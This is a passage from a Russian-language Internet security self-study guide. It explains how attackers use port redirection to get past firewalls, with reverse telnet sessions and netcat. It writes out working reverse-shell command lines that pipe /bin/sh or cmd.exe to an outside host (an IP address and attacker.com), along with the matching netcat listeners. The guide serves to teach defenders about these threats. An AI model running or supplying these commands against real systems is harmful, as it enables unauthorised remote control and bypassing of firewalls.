Иллюстрированный самоучитель по защите в Интернет

"Потайные ходы"

Перенаправление портов: реверсивный ceaнc telnet, netcat, datapipe, rinetd и fpipe

В предыдущих разделах некоторые команды удаленного управления, основанные на использовании командного процессора, описывались в контексте прямых соединений. Теперь рассмотрим ситуацию, когда прямому вмешательству в систему что-то препятствует, например прямой доступ блокируется брандмауэром. Изобретательные взломщики могут обойти эти препятствия с помощью перенаправления портов (port redirection).

Если взломщику удалось взломать брандмауэр, то с помощью перенаправления портов он сможет направить все пакеты на требуемый узел. Важно уяснить возможные последствия взломов этого типа, поскольку взломщик может получить доступ к любой системе, которая находится позади брандмауэра. Перенаправление функционирует по следующему принципу: ведется прослушивание определенных портов и перехваченные на них необработанные пакеты перенаправляются на нужный вторичный адрес. Ниже будут рассмотрены некоторые методы выполнения перенаправления портов вручную, используя такие утилиты, как telnet и netcat, а также такие специализированные средства перенаправления, как datapipe и rinetd.

Реверсивный сеанс telnet

Один из любимых взломщиками "потайных ходов" во взломанную систему может быть реализован с помощью демона telnet, входящего в комплект поставки многих версий UNIX. Так что эту программу даже не потребуется загружать. Мы называем этот способ реверсивный сеанс telnet, потому что в процессе его реализации утилита telnet используется для соединения с находящейся в режиме прослушивания утилитой netcat, запущенной на компьютере взломщика. Затем требуемые команды направляются на целевой узел, а результаты их выполнения – обратно.

Чтобы реализовать реверсивное соединение telnet, на своем компьютере сначала нужно запустить два экземпляра утилиты netcat, используя для этого две отдельные команды.

С:\> nc – w – 1 – р 80
D:\> nc – w – 1 – р 25

Затем на целевом узле следует использовать следующую команду UNIX:

sleep 10000 | telnet 172.29.11.191 80 |
/bin/sh | telnet 172.29.11.191 25

В результате входные данные с порта 25 с помощью конвейера будут переданы локальной командной оболочке (которая выполнит полученные команды), а результаты снова через конвейер будут перенаправлены обратно, на порт 80 компьютера взломщика.

Порты из предыдущего примера (80 и 25) используются стандартными службами (HTTP и SMTP соответственно). Поэтому обычно следующий через них поток сообщений свободно проходит через брандмауэр на многие внутренние узлы.

Захват командной оболочки с помощью утилиты netcat

Если на целевой компьютер можно поместить утилиту netcat, или если она там уже установлена, то можно воспользоваться аналогичным методом. Такой подход мы называем "захват командной оболочки", потому что его суть заключается в том, что на своем рабочем компьютере взломщик получает в полное распоряжение все функциональные возможности удаленной командной оболочки. Рассмотрим пример, когда в удаленной командной строке запускается следующая команда.

nс attacker.com 80 | cmd.exe | nс attacker.com 25

Если хакер на своем компьютере attacker.com с помощью утилиты netcat осуществляет прослушивание TCP-портов 80 и 25 и при этом порт 80 разрешает передачу входящих, а порт 25 – исходящих пакетов для компьютера-жертвы через брандмауэр, то эта команда позволяет "захватить" командную оболочку удаленной системы. На рис. 14.3 показан экран компьютера взломщика, где в верхнем окне на порт 80 передается команда ipconfig, а результаты ее выполнения направляются в порт 25 и отображаются в нижнем окне.

Иллюстрированный самоучитель по защите в Интернет › Расширенные методы › "Потайные ходы"
Рис. 14.3. Запустив утилиту netcat на компьютере взломщика (на рисунке показан его рабочий стол) и на целевом узле, можно "захватить" удаленную командную оболочку. Команды, которые вводятся в верхнем окне, выполняются на удаленной системе, а результаты их работы – в нижнем

Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.